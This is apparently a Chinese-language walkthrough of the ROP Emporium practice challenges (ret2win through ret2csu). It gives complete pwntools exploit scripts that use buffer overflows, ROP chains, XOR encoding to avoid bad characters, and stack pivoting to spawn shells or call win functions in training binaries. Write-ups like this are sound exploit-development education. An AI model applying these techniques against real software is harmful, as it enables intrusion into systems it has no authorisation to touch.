ret2win 实际上就是 ret2text
32 位 分析 运行看看
image.png
计算一下栈的大小,得到 44
image.png
在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了
image.png
exp
1 2 3 4 5 from pwn import *p=process('./ret2win32' ) payload='a' *44 +p32(0x8048659 ) p.sendline(payload) p.interactive()
image.png
64 位 分析 GDB 调试:得到偏移
image.png
IDA 分析,依然是有个后门的,地址:0x400811
image.png
exp
1 2 3 4 5 from pwn import *p=process('./ret2win' ) pay='a' *40 +p64(0x400811 ) p.sendline(pay) p.interactive()
它自己带的 flag 确实是写的 32 位
image.png
split 32 位 分析 计算偏移:44
image.png
IDA 打开搜索字符串,发现 data 段有 cat flag
image.png
同时有 system 的 plt 地址
exp
1 2 3 4 5 6 from pwn import *sys_addr=0x8048430 p=process('./split32' ) pay='a' *44 +p32(sys_addr)+p32(0 )+p32(0x804A030 ) p.sendline(pay) p.interactive()
image.png
64 位 分析 gdb 计算 偏移 40
image.png
照样用
image.png
因为 64 位的传参要在寄存器里面,用 ROPgadget,找一下 pop rdi 的
image.png
exp
1 2 3 4 5 from pwn import *p=process('./split' ) pay='a' *40 +p64(0x400883 )+p64(0x601060 )+p64(0x4005E0 ) p.sendline(pay) p.interactive()
image.png
callme 32 位 题目说要按照 call callme_one(),callme_two(),callme_three() 的顺序调用执行
To dispose of the need for any RE we’ll tell you the following: You must call callmeone(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme functions in the above order and with the correct arguments. Don’t get distracted by the incorrect calls to these functions made in the binary, they’re there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they’re there to ensure the functions must be called in the correct order.
分析 计算偏移:44
image.png
然后想要按照要求去调用他给的三个 call,那三个 call 是在附带的 libc 里面的定义的
image.png
image.png
image.png
根据这三个函数的定义,call_one 的三个参数应该是 1、2、3 call_two 的三个参数应该是:1、2、3 call_three 的三个参数应该是:1、2、3
需要三个 pop 来把参数占用的给平衡掉,这样才能保证返回到下一个 call
image.png
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=process('./callme32' ) call_one=0x080485C0 call_two=0x08048620 call_three=0x080485B0 pop_ret=0x080488a9 pay='a' *44 +p32(call_one)+p32(pop_ret)+p32(1 )+p32(2 )+p32(3 ) pay+=p32(call_two)+p32(pop_ret)+p32(1 )+p32(2 )+p32(3 ) pay+=p32(call_three)+p32(pop_ret)+p32(1 )+p32(2 )+p32(3 ) p.sendline(pay) p.interactive()
image.png
64 位 分析
image.png
x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中
用 ROPgadget –binary callme –only ‘pop|ret’ 完美!gadgets:0x401ab0
image.png
IDA 看一下函数地址
image.png
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=process('./callme' ) pop_ret=0x401ab0 call_one=0x401850 call_two=0x401870 call_three=0x401810 pay='a' *40 +p64(pop_ret)+p64(1 )+p64(2 )+p64(3 )+p64(call_one) pay+=p64(pop_ret)+p64(1 )+p64(2 )+p64(3 )+p64(call_two) pay+=p64(pop_ret)+p64(1 )+p64(2 )+p64(3 )+p64(call_three) p.sendline(pay) p.interactive()
image.png
write4 32 位 分析 偏移 44
image.png
没有可以用的 /bin/sh 字符串,有 system,可以用 ret2libc,但这个题目目的不在这,尝试自己去写到内存里然后再调用 参考:https://www.jianshu.com/p/d385e23b2a94 tql!
通过 ROPgadget 找到了要用的两段 gadget
image.png
说一下思路:通过 pop edi 和 ebp,把 bss 段的地址和 ‘/bin’ (因为只能放 4 字节),放到这俩寄存器里面 然后通过:mov [edi],ebp 把字符串放到 bss 段,这样放两次,就放完了 “/bin/sh” 了,就可以用 system 来拿到 shell 了exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = process('./write432' ) bss_addr=0x0804A040 system_plt=0x08048430 pop_edi_ebp=0x080486da mov_edi_ebp=0x08048670 pay ='a' *44 +p32(pop_edi_ebp)+p32(bss_addr)+"/bin" +p32(mov_edi_ebp) pay+=p32(pop_edi_ebp)+p32(bss_addr+4 )+"/sh\x00" +p32(mov_edi_ebp) pay+=p32(system_plt)+p32(0 )+p32(bss_addr) p.sendline(pay) p.interactive()
image.png
64 位 分析 偏移:40
image.png
然后用 ROPgadget 看一下 gadgets,这俩不错
image.png
然后 IDA 看一下:
image.png
同时别忘了,对于 64 位的来说,还需要一个 pop rdi ret 这样的 gadgets
exp
1 2 3 4 5 6 7 8 9 10 from pwn import *p=process('./write4' ) bss_addr=0x601060 pop_r14_r15=0x400890 mov_r14_r15=0x400820 sys_addr=0x4005E0 pop_rdi=0x400893 pay='a' *40 +p64(pop_r14_r15)+p64(bss_addr)+'/bin/sh\x00' +p64(mov_r14_r15)+p64(pop_rdi)+p64(bss_addr)+p64(sys_addr) p.sendline(pay) p.interactive()
image.png
badchars 32 位 分析 偏移大小为 44
image.png
IDA 看到在 pwnme 函数里面调用了一个 badchars 的函数
image.png
函数定义了上面说的那几个字符,如果遇到就换成 -21
image.png
这就会影响我们写入 /bin/sh,大佬的解决方案是异或!然后再找 gadget 去异或回来!https://www.jianshu.com/p/5b9abeca9308
image.png
然后,通过这个脚本,来找一下,看一下哪一些可以用来异或
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 binsh = "/bin/sh\x00" badchar = [98 , 105 , 99 , 47 , 32 , 102 , 110 , 115 ] xornum = 1 while 1 : for x in binsh: tem = ord(x) ^ xornum if tem in badchar: xornum += 1 break if x == "\x00" : print xornum xornum += 1 if xornum == 10 : break
image.png
也就是可以通过 2 或 3 或 5 或 9
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *p=process('./badchars32' ) sys_addr=0x080484E0 binsh="/bin/sh\x00" xorbinsh="" for i in binsh: xorbinsh += chr(ord(i) ^ 2 ) xor_ebx_cl=0x8048890 bss_addr=0x804A044 mov_edi_esi=0x8048893 pop_esi_edi=0x8048899 pop_ebx_ecx=0x8048896 pay='a' *44 +p32(pop_esi_edi)+xorbinsh[0 :4 ]+p32(bss_addr)+p32(mov_edi_esi) pay+=p32(pop_esi_edi)+xorbinsh[4 :8 ]+p32(bss_addr+4 )+p32(mov_edi_esi) for i in range(0 ,len(xorbinsh)): pay+=p32(pop_ebx_ecx) pay+=p32(bss_addr+i)+p32(2 ) pay+=p32(xor_ebx_cl) pay+=p32(sys_addr)+p32(0 )+p32(bss_addr) p.sendline(pay) p.interactive()
解释一下:首先,跟 write4 的一样,先把想要写到的地址和内容,都 pop 到寄存器,然后,mov 到指定的地址,这样就实现了往 bss 段写/bin/sh 的操作了,由于写入的是异或的,在下面挨个取出来,再异或一下还原回来
image.png
64 位 分析
偏移:40
image.png
找一下 gadgets
image.png
然后 IDA 看一下:sys_addr=0x4006f0
image.png
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *p=process('./badchars' ) binsh='/bin/sh\x00' xorbinsh="" for i in binsh: xorbinsh+=chr(ord(i)^2 ) pop_r12_r13=0x400b3b mov_r13_r12=0x400b34 xor_r15_r14=0x400b30 pop_r14_r15=0x400b40 pop_rdi=0x400b39 bss_addr=0x601080 sys_addr=0x4006f0 pay='a' *40 +p64(pop_r12_r13)+xorbinsh+p64(bss_addr)+p64(mov_r13_r12) for x in range(0 ,len(xorbinsh)): pay+=p64(pop_r14_r15)+p64(2 )+p64(bss_addr+x)+p64(xor_r15_r14) pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr) p.sendline(pay) p.interactive()
image.png
fluff 32 位 分析 **
image.png
找一下 gadget,这次没了之前那种 mov 到地址的操作,但是可以使用 xor 先对一个进行归零,然后再用它来把别的给写入,加上–depth 20 搜的更能全面,最高级就是 20 了
image.png
sys_addr=0x8048430
image.png
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *p = process('./fluff32' ) sys_addr = 0x08048430 bss_addr = 0x804A040 gadgets1 = 0x08048693 gadgets2 = 0x08048671 gadgets3 = 0x0804867b pop_ebx = 0x080483e1 gadgets4 = 0x08048689 pay='a' *44 +p32(gadgets2)+p32(0 ) pay+=p32(pop_ebx)+p32(bss_addr)+p32(gadgets3) pay+=p32(0 )+p32(gadgets4)+p32(0 ) pay+=p32(pop_ebx)+"/bin" pay+=p32(gadgets2)+p32(0 ) pay+=p32(gadgets3)+p32(0 ) pay+=p32(gadgets1)+p32(0 )+p32(0 ) pay+=p32(pop_ebx) + p32(bss_addr + 4 ) pay+=p32(gadgets2) + p32(0 ) pay+=p32(gadgets3) + p32(0 ) pay+=p32(gadgets4) + p32(0 ) pay+=p32(pop_ebx)+"/sh\x00" pay+=p32(gadgets2)+p32(0 ) pay+=p32(gadgets3)+p32(0 ) pay+=p32(gadgets1)+p32(0 )+p32(0 ) pay+=p32(sys_addr)+p32(0 )+p32(bss_addr) p.sendline(pay) p.interactive()
解释一下:首先用 gadgets2 把 edx 置为 0,然后把 bss_addr 给 pop 到 ebx,用 xor edx,ebx 来把 bss_addr 传给 edx 再用 gadgets4 把 edx 的内容给 ecx,再用 pop 把字符串 pop 到 ebx,先 xor edx,edx 为 0,再与 ebx 异或,使得 edx 为 ebx 的内容,在用 gadgets1 把 edx 写到 ecx 也就是 bss_addr
另外说一下:那个 gadgets4,我找到的是 0x08048686,可能是因为机器码的偏移导致 0x08048689 成了 xchg
补:可以用 ROPgadget 搜到(这是另一个的截图)
image.png
太妙了,太强了!!!Orz…
image.png
64 位 分析 屏幕都放不过来了
image.png
image.png
然后除了需要多用一个 pop_rdi 没区别了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *p = process('./fluff' ) binsh = "/bin/sh\x00" sys_addr = 0x4005E0 bss_addr = 0x601060 pop_rdi = 0x00000000004008c3 gadget1 = 0x000000000040084e gadget2 = 0x000000000040084c gadget3 = 0x0000000000400822 gadget4 = 0x000000000040082f gadget5 = 0x0000000000400840 gadget6 = 0x00000000004008bc pay='a' *40 +p64(gadget6)+p64(bss_addr)+p64(0 )+p64(0 )+p64(0 ) pay+=p64(gadget3)+p64(0 )+p64(gadget4)+p64(0 ) pay+=p64(gadget5)+p64(0 ) pay+=p64(gadget6)+binsh+p64(0 )+p64(0 )+p64(0 ) pay+=p64(gadget3)+p64(0 )+p64(gadget4)+p64(0 ) pay+=p64(gadget1)+p64(0 )+p64(0 ) pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr) p.sendline(pay) p.interactive()
思路:首先通过 gadget6 把 bss 段的地址给放到 r12,然后通过 gadget3 把 r11 置为 0,再用 gadget4 异或一下,把 bss 段的地址给放到 r11,然后通过 gadget5 把 bss 段的地址放到 r10,到这里就让它在 r10 就好了
然后在通过上述步骤,只是把/bin/sh 这串字符串放在 r11 就可以,最后通过 gadget1 把 r11 的字符串放到 r10 的 bss 段去
然后在通过 pop_rdi 把参数放在 rdi,给 system 使用
image.png
pivot 32 位 给的那个 libc 里面有个 ret2win,如果可以调用他的话就能打印出 flag,而 libc 里面的 ret2win 和 foothold_function 之间的偏移是不变的,知道了 foothold_function 就能找到 ret2win 的地址
在程序里面有两次输入,第一次会把 al 的地址给打印出来,意思是让你把栈迁移到这个地方:
image.png
leave_ret,用来进行栈迁移
image.png
分别放 offset 和 foothold_function 的 got 表项
image.png
通过它把 foothold_function 的 got 表项中存的 foothold_function 的实际的地址放到 eax
image.png
eax 是 foothold_function 的实际地址,ebx 是 ret2win 相对于 foothold_function 的 offset,相加得到 ret2win 的实际地址
image.png
用来调用 ret2win
image.png
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *p=process("./pivot32" ) elf=ELF('./pivot32' ) lib_elf=ELF('./libpivot32.so' ) leave_ret=0x80486a8 pop_eax=0x080488c0 pop_ebx=0x08048571 add_eax_ebx=0x080488c7 mov_eax_addr=0x080488c4 call_eax=0x080486a3 func_plt=elf.plt['foothold_function' ] func_got=elf.got['foothold_function' ] foothold_index=lib_elf.symbols['foothold_function' ] ret2win_index=lib_elf.symbols['ret2win' ] offset=int(ret2win_index-foothold_index) p.recvuntil("place to pivot: " ) fake_ebp=int(p.recv(10 ),16 ) payload1=p32(func_plt) payload1+=p32(pop_eax) payload1+=p32(func_got) payload1+=p32(mov_eax_addr) payload1+=p32(pop_ebx) payload1+=p32(offset) payload1+=p32(add_eax_ebx) payload1+=p32(call_eax) p.recvuntil('> ' ) p.sendline(payload1) payload2='a' *40 +p32(fake_ebp-4 )+p32(leave_ret) p.recvuntil('> ' ) p.sendline(payload2) p.interactive()
image.png
64 位 xchg 专门有这个指令搜索的嗷,可以通过它把 rsp 的值改成 rax 的,这样可以代替 leave_ret
image.png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *p=process("./pivot" ) elf=ELF('./pivot' ) lib_elf=ELF('./libpivot.so' ) func_plt=elf.plt['foothold_function' ] func_got_plt=elf.got['foothold_function' ] foothold_sym=lib_elf.symbols['foothold_function' ] ret2win_sym=lib_elf.symbols['ret2win' ] offset=int(ret2win_sym-foothold_sym) leave_ret=0x0400a39 mov_rax_rax=0x0400b05 pop_rax=0x0400b00 pop_rbp=0x0400900 add_rax_rbp=0x0400b09 xchg_rax_rsp = 0x0400b02 call_rax=0x040098e leakaddr = int(p.recv().split()[20 ], 16 ) payload1=p64(func_plt) payload1+=p64(pop_rax) payload1+=p64(func_got_plt) payload1+=p64(mov_rax_rax) payload1+=p64(pop_rbp) payload1+=p64(offset) payload1+=p64(add_rax_rbp) payload1+=p64(call_rax) p.sendline(payload1) payload2='A' *40 payload2 += p64(pop_rax) payload2 += p64(leakaddr) payload2 += p64(xchg_rax_rsp) p.sendline(payload2) p.interactive()
image.png
ret2csu 计算偏移:40
image.png
关于 ret2csu 原理可以看:知识库里的
根据题目的要求,,去 call ret2win 同时,rdx 必须是 0xdeadcafebabebeef
image.png
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *p=process('ret2csu' ) elf=ELF('ret2csu' ) csu_front_addr=0x400880 csu_end_addr=0x40089a ret2win = 0x4007b1 init_pointer= 0x0600E10 puts_got = elf.got['puts' ] def csu (rbx, rbp, r12, r13, r14, r15, last) : payload = 'a' *40 payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) p.sendline(payload) p.interactive() csu(0 ,1 ,init_pointer,0 ,0 ,0xdeadcafebabebeef ,ret2win)
image.png